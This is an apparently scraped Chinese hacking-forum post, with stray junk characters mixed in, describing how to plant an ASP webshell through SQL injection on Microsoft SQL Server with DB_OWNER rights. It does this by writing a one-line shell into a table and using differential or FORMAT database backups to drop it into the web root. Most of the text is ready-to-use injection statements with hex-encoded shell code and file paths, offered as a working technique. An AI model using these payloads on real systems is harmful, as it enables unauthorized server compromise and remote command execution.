DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

一利用差异备份
, v3 L  }; w! w- Y% J, X加一个参数WITH DIFFERENTIAL
- n6 B0 `5 t; `/ y# q- D, _% p7 y1 P
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
1 |: U7 r5 w) Ninsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
+ g  N( O; M5 a; t5 vdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

8 E# @) y! E$ o& h" E8 H1 y二利用完全FORMAT
5 Q+ b# _- U  N/ P2 B加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

  }! q( o8 Y$ G& Cdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
1 w' R# G" f, I; E, \% Ddeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
9 W6 V' \6 j, X5 ?* t1 \' [
! p- c1 }7 e! _/ Z) D0 E& p总的来说就是那么简单几句,下面以备份数据库model为例子

8 `) f) R% V; C4 S4 g8 t" Wid=1;use model create table cmd(str image);insert into cmd(str) values (”)
% c' b4 h; N1 M2 z
id=1;backup database model to disk=’你的路径‘ with differential,format;–